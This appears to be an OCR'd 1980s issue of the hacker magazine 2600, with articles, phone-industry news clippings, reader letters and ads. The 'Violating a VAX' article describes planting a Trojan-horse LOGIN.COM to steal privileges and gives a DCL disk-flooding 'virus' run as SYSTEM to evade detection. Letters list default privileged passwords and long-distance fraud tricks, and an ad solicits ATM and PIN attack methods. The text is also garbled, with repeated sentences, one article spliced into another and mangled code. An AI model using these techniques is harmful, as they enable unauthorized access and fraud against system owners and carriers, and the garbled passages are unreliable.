VIOLATING A VAX

By Baalzebub

As DEC systems have proliferated throughout the establishment, hackers' desires to know more about same have also risen dramatically. This is ironic as DEC architecture has a well-designed security schema while many other systems require additional software. In any case, regardless of what system you've decided to target, there are a few tricks. The following is written specific to VAX/VMS but most of this can be applied to other systems.

One two-bit trick is to continually hit Control-T upon logging in. This feature will tell you what images are being executed in the system-wide login procedure. Most likely, this is where any site-specific security will try and weed out who has certain privileges or who should remain inside a captive process.

Control-T has limitations, however. It only shows images. That is, if it's not an executable in the directory SYSSSSYSTEM, it will probably only appear as DCL. That covers a lot of ground. Furthermore, Control-T might indicate that you're running SET. Well, that's just fine and dandy but SET what? It could be anything from setting terminal characteristics to resetting the CPU clock.

Trojan Horses

Let's assume that somehow you got an account and now wish to give yourself privileges. A Trojan horse is just the ticket. A Trojan horse is simply a few lines of coding that you unobtrusively slip into someone else's program. That someone, who has special privileges, then unknowingly runs your program. The following is a simple Trojan horse that could be copied into a privileged users directory and renamed LOGIN.COM;890. Thus, as he logs into his account, he automatically runs the program. The reason for the high version number is to insure that this will take precedence over any LOGIN.COM he already has. The last line deletes the program. The reason for the high version number is to insure that this will take precedence over any LOGIN.COM he already has. The last line deletes the program. The reason for the high version number is to insure that this will take precedence over any LOGIN.COM he already has. The last line deletes the program. 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the free phones of philly

by Chester Holmes

In a surprisingly altruistic move, MCI/SBS-Skyline, in cooperation with Bell of Pennsylvania (BPA), recently began providing free long distance service to area inhabitants from ordinary coin box telephones. The new "10888" program was initiated in several central offices that had recently been upgraded to equal access.

Under equal access, telephone subscribers are forced to "vote" for their favorite long distance carrier on a flimsy "ballot" (if they waive this privilege, an equal access carrier will "vote" for their favorite long distance carrier on a flimsy). This arrangement allows long distance calls to be made simply by dialing a certain username will always work or dedicate all system resources to calculating the millionth digit of pi—you get the idea. It can do anything. You're only limited by your imagination. Even more fascinating, when the infected software is copied to another system, the virus takes over yet another machine. In the case of communication software coding specifically designed to reach out and touch other systems, the final outcome can be phenomenal especially when one considers how many systems are networked together. In theory, one program could infect a very large percentage of all systems.

Finally, the virus can either duplicate itself upon entry to each system once or clone itself arithmetically (as is the case below) or grow in geometric progression. Yeow!

The sample virus consists of two programs. One writes a duplicate program and renames each one slightly differently. Its purpose is to clutter up disk space. The other program submits each program.

The only words of caution are as follows. All jobs have the user name attached. If you're using one of many nonprivileged accounts and don't care, that's one thing. If you don't want to get caught, you'll need special privileges to add the qualifier USERNAME=SYSTEM to the submit command.

Program I billions GROW.COM:

```
S SUBMIT/NOPRINT/ZLOG/USERNAME=SYSTEM NAME
```

Program II

```
S COUNT=0
$ STOP:
S COUNT=COUNT+1
S SNAME="DEV529[TRASH]INFECT" + FSSTRING(COUNT) = "\"COM\"
S OPEN/WRITE FILE 'NAME
S WRITE FILE "SDIR/OUTPUT-SYSSYSTEM DEV529[000000...]
S CLOSE FILE
S@DEV529[TRASH]GROW.COM
S GOTO TOP
```

Anyhow, happy hunting, and don't byte off more than you can eschew.
Town on Hold During Strike

Hackettstown Record

When workers for AT&T walked off the job recently, the people of Sussex County, New Jersey were reminded just how antiquated their 44-year-old telephone system is. Residents cannot make long distance calls without the help of an operator. Some of them had to leave town to make calls.

What's most old-fashioned about the system is that it relies on the honesty of long distance callers to provide operators with the correct phone number for billing purposes. The town double-checks all phone charges above $2 in an effort to identify fraudulent calls.

New Jersey Bell says the telephone switching equipment will be replaced in December.

Prisoners Break Law

New Jersey Daily Record

Morris County Jail inmates have been making thousands of dollars worth of telephone calls over the past year by using the privileged long-distance telephone company codes of MCI, according to authorities.

MCI Communications Corporation estimates that inmates have made about $10,000 worth of calls by using illegally obtained code numbers.

A few inmates apparently have the codes and are exchanging their use for cigarettes and other items.

No suspects were identified by authorities, but a spokesman for MCI said that authorities have not determined who has been billed for the illegal calls. Apparently, no MCI customers have complained of being billed for calls originating from the jail.

Hacker Degrees?

Chicago Sun-Times

A 24-year-old student at Triton College (River Grove, Illinois) has been charged with using a computer to raise his grades and gain credit for courses he never took. He's also been accused of altering the grades of 11 other present or former students, creating an academic record for someone who never attended the school, and allowing students to take courses free by tapping into Triton's computer system.

State Police Director James Zargel said some movies have portrayed computer crimes as "sophisticated, cute and clever" and he asked, "Would you think it was so clever if the movie's opening scene showed a guy forging his parents' will or bouncing rubber checks off local merchants?"

We wonder if he's ever seen Bonnie and Clyde or Take the Money and Run....

New Jersey Tops Taps

State News Service

New Jersey led the nation, as usual, last year in the number of state ordered wiretaps, with New York coming in a close second, according to a federal report.

New York reported the largest number of law-enforcement wiretaps nationwide, when including federally-ordered taps. Both states far exceeded the total number of taps in any other state.

New Jersey State completed 321 wiretaps last year with a grand total of 194 taps. New York's total was 216. In comparison, Pennsylvania had 61, for example, and Connecticut had 16.

All taps in both states were approved by judges and were placed on telephones in private homes and businesses using wires or microphones. Several taps monitored public pay phones.

The report does not list taps still in progress.

Ex-Fed Tapped

Prison Investigator Sues

The former head of the FBI's Los Angeles office, Ted L. Gunderson, who now works as a private investigator, has sued General Telephone alleging that his work telephone had been tapped for almost two years to allow eavesdropping on business conversations. Gunderson had also been charged $42 per month for this pleasure.

The suit contends that GTE did wiring without his knowledge or consent, and that Answerall, the answering service he was wired to, caused the connection to be made "to listen to privileged telephone conversations and gain access to sensitive information."

Apparently, someone placed a work order with GTE, and it complied. GTE has since refunded almost $1,000 to Gunderson.

The former special agent said he has been harassed by Federal agencies because of his efforts to vindicate a man who was convicted of murdering his pregnant wife and two daughters.

SS Numbers Returned To Citizens

Privacy Journal

The customers of Hackensack Water Co. in Northern New Jersey received a notice with their bills this winter telling them that the company had no right to demand their Social Security numbers last year.

In 1985, when New Jersey ordered that water in certain drought-stricken regions be rationed according to numbers of persons per household, water suppliers were authorized to count persons and, if they wanted, to collect Social Security numbers. The Hackensack company asked for the names of every person and the Social Security number of the head of the household.

Later, the company admitted that it wanted Social Security numbers, not to ration water, but to help credit bureaus and collection agencies collect unpaid bills.

Residents of Bergen County sued because they were led to believe the information was required by the state.

A federal court ordered the company to send a correction notification to its customers and to permit them to have their numbers erased.

Computers Strike Again!

USA Today

A faulty computer program in buildings with telephone intercoms is generating phone bills up to 15,000 percent higher than average for many area customers, according to AT&T officials. AT&T isn't sure how many customers are affected, but one customer, Bernard Bartikowsky, was charged $451.48 for a month's rental on a standard push-button phone. "The bureaucracy is so bloated. The computers have taken over," said Louis Soupcoff, 71, who was billed $96.74 for leasing $7.67 worth of equipment. AT&T hasn't figured out how to fix the problem.

Federal Employees "Tracked"

The New York Times

About a third of all telephone calls made by Federal employees at five agencies were for personal rather than business reasons, according to preliminary Government studies.

The President's Council on Integrity and Efficiency [oh, please!] ordered the inspectors general of all Federal agencies to conduct the studies to determine the extent of phone system abuse in the Government.

Nobody listened in on calls, according to the inspector general of the General Services Administration. Instead, the agencies took scientific samples of the calls made from their offices and then called the number. If the phone was in a private residence, the call was classified as personal.

[How much do you think was wasted by calling all those numbers instead of doing CNA's on them?]
Dear 2600:

Just thought we would inform your readers of a publication of interest. ACE (Association of Clandestine radio Enthusiasts) is a group interested in pirate and spy radio which publishes a monthly newsletter. We encountered these people when the Private Sector BBS recently expanded into the world of radio communications. This sub-board on the BBS discusses cellular and mobile phones, scanners, and similar topics such as pirate radio.

We’ll be interacting more with ACE in the future as we also explore shortwave and pirate radio, but your readers can also explore by subscribing to their newsletter (The ACE) for $12 a year ($1 for back issues). Write to ACE, P.O. Box 46199, Baton Rouge, LA 70895. They also run a BBS (300/1200 bps) at (913) 677-1288. Mention 2600 when you subscribe or log onto the BBS as this will cut through some of the red tape.

"The Corporation for Open Systems has named Lincoln Faurer its first president. Faurer was chosen on the basis of his extensive experience in the standardization process and in negotiations with vendors. Membership in COS currently stands at nearly 40 companies."

Howard

Dear 2600:

Thanks much for providing lots of useful information. Here is an ironic little announcement about the new president of the Coalition for Open Systems.

From Courier published by Xerox, Palo Alto, California: "The Corporation for Open Systems has named Lincoln Faurer, former director of the National Security Agency, as the group's first president. Faurer was chosen on the basis of his extensive experience in the standardization process and in negotiations with vendors. Membership in COS currently stands at nearly 40 companies."

Dear Mr. 1:

Those are not just 40 little companies either. They include Bell Labs, Boeing, DEC, Kodak, NCR, Northern Telecom, Xerox, and others on the executive committee alone!

"We are sure that Mr. Faurer will enjoy running future discussions of data encryption and other standards with the rest of the coalition.

kl

Dear 2600:

I would like to add a bit of information to that given in the March 86 issue on VMS and such. The [000000] can be replaced with a minus sign in brackets [-]. It said somewhere that this would raise you up one directory level also.

A friend and I found a file listing default passwords, and other goodies for the VAX ethernet Communications Server V2.0. To quote from the (3) Default Passwords section:

"The default password has been changed to ACCESS. This password is requested on those ports for which a SET PORT PASSWORD ENABLED was issued before the user logged in. The password port characteristic is a feature not found in the Terminal Server V1.0 release. Terminal Server V1.0 forced users of modem-controlled lines only to always enter the login password.

The default privileged password is SYSTEM. This password allows a non-privileged user to gain access to privileged functions.

You should change both of these passwords after a successful installation of the software, and thereafter on a regular basis.

Change the passwords using the following TSC commands:

(TSC) DEFINE LOGIN PASSWORD NEW-PASSWORD

(TSC) DEFINE PRIVILEGED PASSWORD NEW-PASSWORD"

Pretty boring stuff, huh? The only thing we have found that we could do with these so far is broadcast messages to all terminals, and sign someone off.

Dear Readers:

Last month, we told you about the AT&T Toll-Free Wake-Up service (8002220300), which featured an almost eternal loop of music by pianist George Winston. Since our mention of it, the music has been changed to nondescript muzac and the volume of the recording has been reduced, making it less pleasant to listen to. We also spoke with George Winston and asked him what he thought of his music being used by AT&T. He replied: "I don't care, because I don't get any royalties because of it."

On a very different subject, we have received the first copy of Telecomputist, which was written by Data Line, Forest Ranger, Rev Enge, Taran King, and a few others. The first issue has lists of Secret Service and other frequencies, a confusing description of ISDN, a transcript of a Phil Donahue show on computers (from March, 1985), a list of Autovon exchanges and their equivalents (as in our May, 1986 issue), and a little postal information.

We take the wait and see attitude on whether or not to invest in this one. If you want to subscribe, contact Telecomputist through Telex 650-240-6356, by leaving a note to TECHNICIAN on the Delphi system, or by writing to P.O. Box 2003, Florissant, MO 63032. The first issue says that you should contact them before sending any money. Back issues are only $5.00, but there is probably only one so far.

Dear 2600:

I just found a great way to save money on my long distance calls. When I dial "0"+Area Code+950+xxxx, the call goes through. Since I used the "0", I think that the call is free. This means that if I am in New York and I want to call California, I can call the U.S. Tel tone in Los Angeles 0+213+950+1033 for free and then dial a local call to my friends in California and be billed for a local call on U.S. Tel. What do you think?
The 2600 Information Bureau

The following is a list of all country codes in numerical order. This information comes to us from Telecom Digest via Private Sector.

<table>
<thead>
<tr>
<th>World Numbering Zone 1 (Integrated Numbering Area)</th>
<th>236 Central African Republic</th>
</tr>
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<tbody>
<tr>
<td>1 Canada, USA including Puerto Rico and the Virgin Islands.</td>
<td>237 Cameroon</td>
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<tr>
<td>Jamaica, Barbados, Anguilla, Antigua and Barbuda,</td>
<td>238 Cape Verde</td>
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<tr>
<td>British Virgin Islands, Bermuda, Bahamas, Dominica,</td>
<td>239 Sao Tome and Principe</td>
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<tr>
<td>Dominican Republic, Grenada, Montserrat, St.</td>
<td>240 Equatorial Guinea</td>
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<tr>
<td>Christopher and Nevis, St. Lucia, St. Vincent and the</td>
<td>241 Gabon</td>
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<tr>
<td>Grenadines (Bequia, Mustique, Prune (Pala) Island,</td>
<td>242 Congo</td>
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<tr>
<td>Union Island), Trinidad and Tobago</td>
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Note: Mexico locations with Zone 1 style area codes are a hack for use from the U.S. and Canada only, and are not official.

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<th>World Numbering Zone 2: Africa, Greenland, Faroe Islands, Aruba</th>
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<tr>
<td>20 Egypt</td>
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<tr>
<td>21 Integrated Numbering Area: Morocco (212 in service, also has 210, 211 assigned, but not used)</td>
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<tr>
<td>Algeria (213 in service, also has 214, 215 assigned, but not used)</td>
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<td>Tunisia (216 in service, also has 217 assigned, but not used)</td>
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<tr>
<td>Libya (218 in service, also has 219 assigned, but not used)</td>
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<td>220 The Gambia</td>
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<td>221 Senegal</td>
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<td>222 Mauritania</td>
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<td>223 Mali</td>
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<tr>
<td>224 Guinea</td>
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<tr>
<td>225 Ivory Coast</td>
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<tr>
<td>226 Burkina Faso (Upper Volta)</td>
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<td>227 Niger</td>
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<td>228 Togo</td>
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<td>229 Benin</td>
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<td>233 Ghana</td>
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<td>234 Nigeria</td>
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<td>235 Chad</td>
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2600

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"You're very welcome, sir. And thanks for abusing AT&T!"
AT&T Selling Pay Phones!

Combined News Services

AT&T, which has built nearly 1.5 million pay phones for telephone companies, has entered the fledgling private pay phone business.

AT&T's coin-operated phone will be identical in appearance to the chrome-faced pay phones it sells to local telephone companies. But like all other private pay phones, AT&T's model will be fitted with enough computer power to make it independent of the local telephone company.

Individual units will sell for $1,895, which puts them about midway in the industry in pricing.

Automated Operators Coming

Communications Week

Southern Bell is taking a small step into the world of automation with the test of a new, computer-controlled operator service to handle third party billed and collect calls. In a test called Automated Alternative Billing Service (AABS), computers will entirely automate selected calls previously handled by operators. The process is similar to the way credit-card calls are currently handled.

[Callers will be told to press one number for a credit-card call, another for a collect call, and a third for third party billing. In the case of collect calls, callers will be told by a computer to say their names. The person called will then hear a computerized voice telling him that there is a collect call from whatever name the caller gave, in the caller's voice. The speech recognition system will ask if he accepts the call, then wait for either "yes" or "no". Any other response will result in a human operator being summoned.]

Michigan Bell will also be conducting a similar test, called Fully Automated Collect and Third Party Billing Service (FACTS).

Bell Communications Research Inc. (Bellcore) developed the technology for the trials.

Cellular Dial-By-Voice

The New York Times

A new cellular phone, developed by AT&T Consumer Products and called "AT&T 1280", will enable a motorist to dial a number by pronouncing a person's name. Twenty numbers can be stored. The qualities of each sound are compared statistically rather than comparing recorded patterns. This mathematical procedure is said to eliminate 90 percent of the computation previously required to identify spoken sounds.

New British Phone Service

The Wall Street Journal

The British telephone system has opened up its government-run monopoly to private enterprise for the first time. A new service run by the Mercury Communications Ltd. unit of Cable & Wireless PLC recently started with a call to Britain's Trade Secretary.

Mercury has a government license to compete with British Telecommunications PLC.

No Data Protection for Hong Kong

InfoWorld

A Hong Kong newspaper recently reported that Hong Kong's Secretary for Administrative Services, Peter Tsao, said a special government task force on data privacy has decided there is no need for laws governing the storage of computerized data or to control its abuse. In light of the statement, it appears increasingly unlikely that Hong Kong will enact data protection laws.

74,000 Calls to Fraud Line

Associated Press

More than 74,000 calls to a Congressional fraud hot line have uncovered hundreds of cases of waste and abuse in Federal Government. Senator Jim Sasser, Democrat of Tennessee, recently announced.

He said calls to the 24-hour toll-free number had produced 11,828 cases warranting further review since the hot line was set up by the General Accounting Office seven years ago.

The nationwide hot line number is 8004245454. [No, you can't blue-box off it.]

Federal Phone Failures

New York Times

For months, the State Department has been phasing in a new electronic telephone system. The system was designed in part to make communications more secure, but the confusion has created a level of security more impenetrable than its planners had hoped.

Since nobody in the department seems sure yet who has which new number, let alone which one works, disgruntled employees found themselves at times recently unable to call each other or to receive calls from the outside world.

The first clue of trouble came in October, when the department issued its annual staff directory of what were supposed to be the new numbers. Callers quickly discovered that dialing the listed numbers evoked either busy signals or nothing at all.

By November, the numbers in the new directory were declared in error, and staff members received another set, pasted to the back of their phones. But then, at a briefing, they were told to ignore earlier instructions since in most cases only the prefixes of their phone numbers would be changed.

The State Department's main 632 exchange has been changed to 647. The remaining digits for phone numbers are the same, unless, of course, the fourth digit in the old number was 0, in which case, the holder gets a new extension. Those who had 254, 653, or 634 prefixes are also being shifted to 647.

Indiana Telco Threatens AT&T

The Wall Street Journal

The FCC has approved a proposal by a new company, Indiana Switch, to provide long distance telephone service to rural customers in Indiana.

Indiana Switch is a joint venture of 27 Indiana phone companies and U.S. Switch Inc., which is 70%-owned by Telecom Plus International Inc. of Boca Raton, Florida. They plan to tie together the rural phone concerns involved in the venture through one central switch.

The plan would require AT&T and other long distance carriers to use the switch and pay a fee to tap into the new system. It would provide equal access to long distance telephone companies for the 70,000 Indiana Switch customers, and it would give Indiana Switch the opportunity to offer long distance service, similar to all the other carriers.

AT&T and MCI oppose the proposal because, they argue, Indiana Switch would provide a switch as well as long-distance service, thus giving the company an unfair competitive advantage.
AN ELITE BBS ON SKYLINE? Maybe. In any event, SBS customers are able to access this mysterious computer by simply dialing 7105551212 after their authorization code. Other computers can be found at 2005551212 and 3005551212, and we wouldn't be at all surprised if more turned up.

ATM CASH!

WANTED!! INFO. CONTRIBUTIONS ON ATM VULNERABILITIES AND COUNTERMEASURES. We are now actively researching for AUTOMATIC TELLER MACHINES III. If allowed to persist, ATMs will destroy our freedoms, privacy and individuality! Published plans by the banking/ATM clique will have ATM-like devices monitoring and controlling YOU 24-hours per day - EVEN YOUR SEX LIFE AND VOTING CHOICES! Help us in our fight against these beasts! We need more internal photos, figures, functional diagrams - more on ATM wiretapping, phreaking, TEMPEST methods - more on obtaining and decrypting PINs - more on every method and technique of penetrating and defeating ATMs and other EFT devices - more on countermeasures! Please rush us everything you can get your hands on. PLEASE TELL YOUR FRIENDS!!

ATM III, just based upon what we have so far, will have 200% more info. than ATM II, and should be THE MOST EYE-POPPING, SIZZLING AND SHOCKING PUBLICATION YOU'VE EVER READ! We want to publish every method - no holds barred!! Anonymous contributions gladly accepted. If you require payment, we will negotiate with you.

We are looking for survival info. of all types - see our June ad in 2600 for specific topics or send $1! for our SUPER-SURVIVAL CATALOG.

When available (2 months), we will fill all ATM III orders on a first come, first serve basis. To reserve a hot-off-the-press ATM III copy, please mail $20* to:

Consumertronics Co.
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ALAMOGORDO, NM 88310

*$1,000 per copy if you are an employee, officer, agent or informant of any financial institution, EFT equipment manufacturer or law enforcement entity, or of a law, investigative or security firm largely employed by any of these three.

Information requested for ATM III is for educational purposes only. ATM III is sold for educational purposes only.

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MISTERY OF THE CENTURY. Why is there a misspelling on the lower right of every VISA card in circulation? Look at the second row from the right of the card and go six up from the bottom. There it is. Strange, isn't it?

Dear 2600....

(continued from page 3-52)

Dear SF:

When you first told us, we tried it out and it did everything you said. We were thrilled beyond all belief! We thought that you had uncovered an expensive ploy by AT&T to use their muscle to push long distance companies out of the market or, perhaps, the most amazing example of corporate oversight to come out of the divestiture.

Then, we decided to think. The technique worked to area codes 706 and 900, and this told us right away that you were not reaching those area codes. We have concluded that this nifty feature you have found is an example of your local phone system converting 0[phone area code]+950[extension] to 950[extension]. This means that your call was not made through a long distance U.S. Tel tone but a local one instead, and you paid the long distance rate for your call. But the conversion of 0-plus calls into a free local call (950[extension]) may mean that prisoners, who are only allowed to dial "0" as their first digit, in order to make a collect call, might be able to bypass the operator and dial a long distance company using this method.

On another note, if you are having trouble with touch-tones that cut off after you connect to your number, try dialing your number with operator assistance. This usually prevents the tones from cutting out.

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